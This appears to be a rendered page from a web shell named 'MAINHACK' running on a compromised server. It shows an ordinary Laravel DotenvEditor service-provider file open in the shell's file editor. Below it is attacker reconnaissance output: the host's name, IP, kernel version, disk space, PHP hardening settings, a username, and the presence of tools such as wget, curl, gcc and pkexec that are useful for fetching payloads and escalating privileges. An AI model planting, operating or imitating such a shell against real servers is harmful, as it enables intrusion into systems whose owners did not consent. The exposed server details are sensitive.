[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DotenvEditorServiceProvider.php
<?php namespace Jackiedo\DotenvEditor; use Illuminate\Contracts\Support\DeferrableProvider; use Illuminate\Support\ServiceProvider; use Jackiedo\DotenvEditor\Console\Commands\DotenvBackupCommand; use Jackiedo\DotenvEditor\Console\Commands\DotenvDeleteKeyCommand; use Jackiedo\DotenvEditor\Console\Commands\DotenvGetBackupsCommand; use Jackiedo\DotenvEditor\Console\Commands\DotenvGetKeysCommand; use Jackiedo\DotenvEditor\Console\Commands\DotenvRestoreCommand; use Jackiedo\DotenvEditor\Console\Commands\DotenvSetKeyCommand; /** * DotenvEditorServiceProvider. * * @package Jackiedo\DotenvEditor * * @author Jackie Do <anhvudo@gmail.com> */ class DotenvEditorServiceProvider extends ServiceProvider implements DeferrableProvider { /** * Bootstrap the application events. * * @return void */ public function boot() { /** * Loading and publishing package's config. */ $packageConfigPath = __DIR__ . '/Config/config.php'; $appConfigPath = config_path('dotenv-editor.php'); $this->mergeConfigFrom($packageConfigPath, 'dotenv-editor'); $this->publishes([ $packageConfigPath => $appConfigPath, ], 'config'); } /** * Register the service provider. * * @return void */ public function register() { $this->app->bind('dotenv-editor', DotenvEditor::class); $this->registerCommands(); } /** * Get the services provided by the provider. * * @return array */ public function provides() { return [ 'dotenv-editor', 'command.dotenv.backup', 'command.dotenv.deletekey', 'command.dotenv.getbackups', 'command.dotenv.getkeys', 'command.dotenv.restore', 'command.dotenv.setkey', ]; } /** * Register commands. * * @return void */ protected function registerCommands() { $this->app->bind('command.dotenv.backup', DotenvBackupCommand::class); $this->app->bind('command.dotenv.deletekey', DotenvDeleteKeyCommand::class); $this->app->bind('command.dotenv.getbackups', DotenvGetBackupsCommand::class); $this->app->bind('command.dotenv.getkeys', DotenvGetKeysCommand::class); $this->app->bind('command.dotenv.restore', DotenvRestoreCommand::class); $this->app->bind('command.dotenv.setkey', DotenvSetKeyCommand::class); $this->commands('command.dotenv.backup'); $this->commands('command.dotenv.deletekey'); $this->commands('command.dotenv.getbackups'); $this->commands('command.dotenv.getkeys'); $this->commands('command.dotenv.restore'); $this->commands('command.dotenv.setkey'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002